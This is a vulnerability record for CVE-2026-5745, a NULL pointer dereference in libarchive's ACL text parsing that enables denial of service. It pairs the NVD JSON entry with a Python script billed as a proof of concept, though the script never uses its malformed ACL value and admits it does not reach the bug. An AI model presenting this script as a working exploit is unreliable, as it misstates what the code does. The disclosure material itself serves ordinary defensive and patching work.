CVE-2026-5745

import libarchive import io # PoC: Triggering NULL pointer dereference in libarchive ACL parsing # This script demonstrates how a malformed ACL string can be processed. def trigger_vulnerability(): # Simulating a malformed ACL string that causes the crash # The vulnerable function expects specific fields after 'd' or 'default' malformed_acl = b'd' # Bare 'd' tag without fields try: # In a real scenario, this would be passed to archive_acl_from_text_nl # via a crafted archive file. print(f"[+] Attempting to parse malformed ACL: {malformed_acl}") # Example using libarchive-c (if installed) to write a file # that might trigger parsing issues. with libarchive.ArchiveWriter('exploit.tar') as archive: archive.add_file_entry('test.txt', size=0) # Note: Actual trigger requires specific internal API calls or # crafted binary headers not exposed directly here. except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_vulnerability() # Note: Successful exploitation results in a Segmentation Fault (DoS).

{"cve": {"id": "CVE-2026-5745", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:32.307", "lastModified": "2026-05-03T15:15:58.543", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libarchive. A NULL pointer dereference vulnerability exists in the ACL parsing logic, specifically within the archive_acl_from_text_nl() function. When processing a malformed ACL string (such as a bare \"d\" or \"default\" tag without subsequent fields), the function fails to perform adequate validation before advancing the pointer. An attacker can exploit this by providing a maliciously crafted archive, causing an application utilizing the libarchive API (such as bsdtar) to crash, resulting in a Denial of Service (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libarchive:libarchive:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A51945D-40D7-4C28-B0BB-774687265DCE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:8944", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-5745", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455921", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}